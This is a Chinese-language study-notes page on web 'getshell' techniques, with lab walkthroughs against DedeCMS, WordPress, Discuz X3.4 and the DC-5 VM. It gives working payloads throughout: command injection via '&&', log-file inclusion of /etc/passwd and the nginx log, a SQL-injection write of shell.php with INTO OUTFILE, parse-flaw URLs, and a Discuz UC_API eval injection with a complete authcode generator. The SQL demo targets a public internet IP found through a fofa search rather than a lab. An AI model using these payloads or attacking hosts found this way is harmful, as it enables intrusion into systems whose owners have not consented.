PS:本篇文章仅用于学习笔记记录,不可用于其他用途。
一、通用getshell方法
1、任意文件上传
(1)注意编程语言 asp , aspx , php , jsp
(2)上传成功 , 但是访问直接下载文件 , 以文本展示 , 原因 : 文件没有被解析
(3)上传成功 , 蚁剑链接失败 , 原因 : 可能是对方有防护措施 , 拦截蚁剑的流量 , 可以在浏览器上访问页面是否存在 , 是否解析
(4)一般在测试中 , 不推荐直接上传一句话 , 如 php , 上传 phpinfo , 测试是否解析即可
PS:一定不要混乱上传,保持头脑理智。
实战中遇到的偏多
2、存在命令/代码执行的功能点
关于代码执行/或者命令执行 , 这里也不过多介绍了 , 这里强调指的是在系统中自带存在的一些执行命令/代码的功
能点 , 一般在网站后台存在 , 后面有案例演示 , 仍然是需要注意的点
- 构造payload在原来的基础上实现任意命令的执行 , 比如 原本是 ping 127.0.0.1 , 构造
127.0.0.1 && ipconfig , ipconfig 为任意命令
实战中遇到的偏少 , 很多业务系统后台不存在这样的功能点 , 但是一些设备的管理后台可能存在 , 如路由器管理等
案例演示
dedecms/织梦cms , 后台命令执行getshell
环境搭建
https://lark-assets-prod-aliyun.oss-cn-hangzhou.aliyuncs.com/yuque/0/2021/zip/2942226/1640761153948-e2302869-fec2-4acb-967b-c0f04a2e4ec3.zip?OSSAccessKeyId=LTAI4GGhPJmQ4HWCmhDAn4F5&Expires=1662538729&Signature=IgGRNA6nX%2B0guPtcRVBTHgJjDHo%3D&response-content-disposition=attachment%3Bfilename*%3DUTF-8%27%27DedeCMS-V5.7.82-UTF8.zip# 下载好源码 , 解压到phpstudy www目录下# PHP5.6 + mysql
安装
http://dede.com/install/
下一步 , 下一步 , 默认安装即可
登录后台
http://dede.com/dede/login.php?gotopage=%2Fdede%2Fadminadmin
漏洞复现
在dedecms后台广告管理,可以插入php任意代码 , 模块 -->广告管理
增加一个新广告,在广告内容框内可以插入php代码
点击代码查看文件路径
使用蚁剑链接
http://dede.com/plus/ad_js.php?aid=1
3、图片马/日志配合文件包含getshell
这种方式getshell的前提 , 是要满足两个条件 , 一是存在上传点 , 可以上传图片马 , 这个基本上很好满足 , 因为大
部分提供服务的网站都有上传头像的地方 , 剩下的一个就是在该网站上找到文件包含的漏洞 , 然后通过文件包含图
片马实现getshell
还有一种方式就是通过包含日志实现getshell , 也很简单 , 这个时候我们只需要把payload写到日志 , 直接拼接在
url上 , 然后访问即可 , 此时会把url的内容写入到日志中 , 即把payload写到日志文件中 , 然后找到日志文件 , 通过
包含getshell
实战中遇到的偏少 , 因为文件包含漏洞 , 黑盒测试很难发现 , 除非你知道这个系统有文件包含的nday
案例演示
DC5靶机演示 日志包含getshell
下载地址
https://www.vulnhub.com/entry/dc-5,314/上课的时候 , 同学自己下载
参考DC-5 , 导入需要重试 , 点x , 拍快照
靶机地址
http://192.168.1.44
提交留言
http://192.168.1.44/thankyou.php?firstname=1&lastname=1&country=australia&subject=111
通过观察2017的变化 , 该页面可能存在文件包含 , 但是不知道包含参数是什么 , fuzz(模糊测试) , 最终得到的参数
http://192.168.1.44/thankyou.php?file=footer.php
poc
http://192.168.1.44/thankyou.php?file=/etc/passwd
漏洞利用 , 通过日志包含getshell
payload写入日志文件中
/thankyou.php?flie=
通过包含getshell , 这里的nginx日志文件路径为
/var/log/nginx/access.log
最终使用蚁剑链接
http://192.168.1.44/thankyou.php?file=/var/log/nginx/access.logyjh
4、解析漏洞getshell
解析漏洞getshell , 实际上也是配合 图片马/日志 getshell , 这里借助web服务器的解析漏洞 , 实现非脚本文件后
缀解析成脚本的 , 这就需要大家在实战中 , 分辨出当前网站是使用了什么web服务器 , 以及利用的payload是什么
IIS6.0解析漏洞
http://www.xxx.com/xx.asp/xx.jpg
http://www.xxx.com/xx.asp/xx.txt
http://www.xxx.com/xx.asp/xx.asp;.jpg
IIS7.0/7.5、Nginx解析漏洞
http://www.xxx.com/xx.jpg/.php
其中nginx解析漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞
Apache解析漏洞
http://www.xxx.com/xx.php.owf.rar
从右到左解析,直到能解析出php为止
实战中遇到的偏少 , 因为对web服务器的版本或者配置有要求
5、文件编辑/文件写入getshell
这类方法getshell , 实际上和文件上传差不多 , 都是把一句话木马写到文件中 , 这个方法利用的前提就是你能找到
文件编辑/写入的功能点 , 或者漏洞 , 然后对应编辑/写入的文件是 可以解析的脚本文件 , 非 html , css等静态文件
实战中遇到的一般 , 看网站后台是否具有这样的功能点
这个和模板文件编辑 , getshell , 差不多 , 都是编辑文件 , 案例在下面演示
6、sql注入getshell
这个就要分数据库类型了
mysql数据库 , 通过注入写shell的三个前提
1.注入点是root权限2.知道网站的绝对路径3.mysql配置文件中的 secure_file_priv =""
案例演示
sql-lab靶场
fofa
"sqlilabs"
http://119.29.134.173:8080/sqlilabs/Less-2/?id=3
手工写入shell
http://119.29.134.173:8080/sqlilabs/Less-2/?id=3 and 1=2 union select 1,'',3 into outfile '/var/www/html/shell.php' --+3 and 1=2 union select 1,'',3 into outfile '/var/www/html/shell.php' --+
蚁剑链接
http://119.29.134.173:8080/shell.phpx
如果对方是 sqlserver 数据库 , 需要是sa权限 , 调用 xp_cmdshell 执行系统命令 , getshell
inurl:".asp?id="其他google语句
二、功能点的一些getshell
1、数据库备份getshell
这类手法 , getshell , 本质的原理是通过上传图片马 , 默认是非解析后缀 , 然后通过数据库备份的功能 , 自定义备
份的文件 , 以及备份后保存的文件名 , 实现解析
台数据库备份getshell,上传图片马并获取图片马路径,通过数据库备份修改后缀名,getshell , 通常asp站点后台居多
主要就是将一句话图片木马备份成ASP脚本格式的文件。具体操作步骤如下
1.上传一个 一句话木马图片
由于我已经进入后台了,随意去后台找一个上传点上传一句话木马图片就可以了
2.备份数据库那里,修改当前数据库路径,填写备份数据库名称
这里,修改当前数据库路径必须为上面刚刚上传的一句话木马图片的路径;这里我把备份数据库名称写为admintony.asp
3.连接一句话木马
2、编辑器漏洞getshell
实战中直接搜索对应的编辑器 , 然后使用漏洞的payload打就完了 , 常见的编辑器有
- fckeditor
- ueditor
- 等等 …
一般在asp网站后台可能会遇到 , 实战用到偏少
3、模板文件编辑getshell
这类手法就和前面文件编辑本质上是一样的 , 需要的前提条件就是 , 你编辑的文件是可以解析的 , 然后你可以写入
任意内容
实战遇到偏多
案例演示
wordpress后台修改模板拿webshell
环境搭建
cd vulhub-master/wordpress/pwnscriptumdocker-compose up -d
网站安装
http://192.168.1.156:8080/wp-admin/install.php
rootroot
登录后台
http://192.168.1.156:8080/wp-login.php
登录wordprees后台 选择 外观编辑
选择一个模板 , 这里使用404模板
然后写入一句话
然后保存 , 蚁剑链接
http://192.168.1.156:8080/wp-content/themes/twentyfifteen/404.php # 默认404路径yjh
4、修改允许上传的后缀
这类手法getshell , 一般也是存在网站的后台功能点 , 一般在上传设置菜单中 , 然后手动新增一个php后缀即可
但是需要注意一点 , 有的时候这个功能是假的 , 即使你新增了 , 还是不让你上传php的后缀文件
实战中遇到偏多
三、nday
nday 往往是实战中快速getshell的方法 , 如果给你一个网站你能识别他是什么cms 或者 框架 , 中间件 , 组件等那么直接google搜 , 名称getshell , 然后根据文档一步一步的打 , 如果识别不出来 , 那只能从其他方式getshell了如 : 帝国cms getshell
1、cms的nday
wordpress
- wordpress 介绍
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和 内容管理系统 。WordPress具有插件架构和模板系统。截至2018年4月,排名前1000万的网站中超过30.6%使用WordPress。WordPress是最受欢迎的网站内容管理系统。全球有大约30%的网站(7亿5000个)都是使用WordPress架设网站的。WordPress是目前因特网上最流行的博客系统。WordPress在最著名的网络发布阶段中脱颖而出。如今,它被使用在超过7000万个站点上。
- wordpress 漏洞
- wordpress后台修改模板拿webshell
- wordpress上传主题拿webshell
wordpress上传主题拿webshell复现
环境搭建
cd vulhub-master/wordpress/pwnscriptumdocker-compose up -d
漏洞复现
把带有后门的文件加入到主题里,压缩为zip文件,上传后,程序会自动解压后,主题目录下会存在一个后门文件。
wordpress主题免费下载站
https://cn.wordpress.org/themes/browse/new/
然后把webshell直接放到压缩包中
上传主题
http://192.168.1.156:8080/wp-admin/
上传成功后,我们可以通过访问/wp-content/themes/[主题名]/[一句话木马文件名]通过蚁剑我们成功可以成功连接上去。
http://192.168.1.156:8080/wp-content/themes/cosmobit/yjh.php
dedecms
- dedecms介绍
DedeCMS是织梦团队开发PHP 网站管理系统,它以简单、易用、高效为特色,组建出各种各样各具特色的网站,如地方门户、行业门户、政府及企事业站点等
- dedecms 漏洞
- 后台广告管理命令执行
- 后台任意文件上传
- 后台修改模块文件拿webshell
后台任意文件上传复现
环境搭建
使用上面搭建好的dedecms即可
进入后台
http://dede.com/dede/
通过文件式管理器 , 上传
上传之后的默认木马路径为
http://dede.com/uploads/yjh.phpyjh
使用蚁剑链接
后台修改模块文件拿webshell
环境搭建
同样使用该环境
修改模板
插入一句话
在生成 更新主页文档HTML下,将主页位置修改为index.php,生成静态的,然后更新
使用蚁剑链接
http://dede.com/index.phpyjh
Discuz!
- dz论坛介绍
Dz论坛(简称 dz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz! X3.2正式版于2015年6月9日发布,首次引入应用中心的开发模式。2010年8月23日,康盛创想与腾讯达成收购协议,成为腾讯的全资子公司。
- dz漏洞
- Discuz_X3.4 后台 getshell
Discuz_X3.4 后台getshell 复现
1.环境搭建
源码下载
https://tj.mycodes.net/202103/Discuz_X3.4_SC_UTF8_20210320.zip
使用 phpstudy 搭建网站
http://dz.com/install
漏洞复现
访问后台地址
http://dz.com/admin.phpadminadmin123
登录 , 访问 站长
-UCenter设置
,修改UCenter通信密钥
为123456
并记录下来 , 同时修改
UC_APIhttp://192.168.15.106/uc_server');eval($_POST[sven]);//');eval($_POST[sven]);//http://dz.com/uc_server
点击提交
生成code参数的值(code.php代码如下)
$uc_key="123456";//此处填写刚才UCenter设置的值$time = time() + 720000;$str = "time=".$time."&action=updateapps";$code = authcode($str,"ENCODE",$uc_key);$code = str_replace('+','%2b',$code);$code = str_replace('/','%2f',$code);echo $code;function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key != '' ? $key : '123456'); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }}?>
php代码在线运行
http://www.dooccn.com/php/
a770%2bezwtH70pSRnAPKKDHWjSt58XdflLRBpD9NGf9Zmrr8QZOG2rGbhLVi6uk3C80NiMvRRxUK%2bEbCiM90
带code参数GET发送请求 , 请求地址如下
http://dz.com/api/uc.php?code=a770%2bezwtH70pSRnAPKKDHWjSt58XdflLRBpD9NGf9Zmrr8QZOG2rGbhLVi6uk3C80NiMvRRxUK%2bEbCiM90
抓包测试 , 虽然是get请求 , 但是请求体有xml代码
, 用来取消转义的
<root><item id="UC_API">http://192.168.15.106/uc_serveritem>root>
此时 http://127.0.0.1/config/config_ucenter.php
就是我们的shell地址
使用蚁剑链接
http://dz.com/config/config_ucenter.php
3.数据恢复
主要恢复两个值
- UC_KEY
- config_ucenter.php 文件中插入的木马 文件时间
从数据库中读取authkey(uc_server),通过UC_MYKEY解密获得UC_KEY(dz),当然也有可能authkey(uc_server)就是UC_KEY(dz)。直接进入Ucenter后台修改UC_KEY,修改成我们GetWebShell过程中所设置的值(123456)。或者进入Ucenter后台看到UC_KEY , 保存 , 然后进入后台再修改回来 , 前提是留好其他的马或者直接在 config/config_ucenter.php 修改文件 UC_KEY的值http://dz.com/uc_server/admin.php密码admin123
2、框架的nday
- thinkPHP 漏洞
- 远程代码执行
- strust2 漏洞
- 远程代码执行 s2-057 s2-062
- spring 漏洞
- 远程代码执行 spel表达式
- CVE-2022-22963 rce
- 等等
3、中间件的nday
- tomcat 漏洞
- put 任意文件上传
- 后台部署war包
- CVE-2019-0232 远程代码执行
- CVE-2020-1938 文件包含
- weblogic 漏洞
- 后台部署war包
- CVE-2017-3506 xmldecode 反序列化 rce
- CVE-2018-2628 T3协议 反序列 rce
- …
- jboss 漏洞 , 这三个也都可以后台部署war包 , getshell
- 后台部署war包
- …
- shiro 漏洞
- 反序列化 rce , key
- 等等 …
4、web服务器的nday
- apache 漏洞
- 解析漏洞
- …
- nginx 漏洞
- 解析漏洞
- …
- IIS 漏洞
- 解析漏洞
5、组件的nday
- log4j2
- rce , JNDI注入
- fastjson
- 反序列话 rce
- 1.2.24
- 1.2.47
- …
- phpmyadmin ( 通过web页面操作数据库的组件 )
- 通过写日志getshell
- 等等 …
PS:一定要熟悉这些中间件,面试的时候会问。
来源地址:https://blog.csdn.net/qq_15131581/article/details/126767274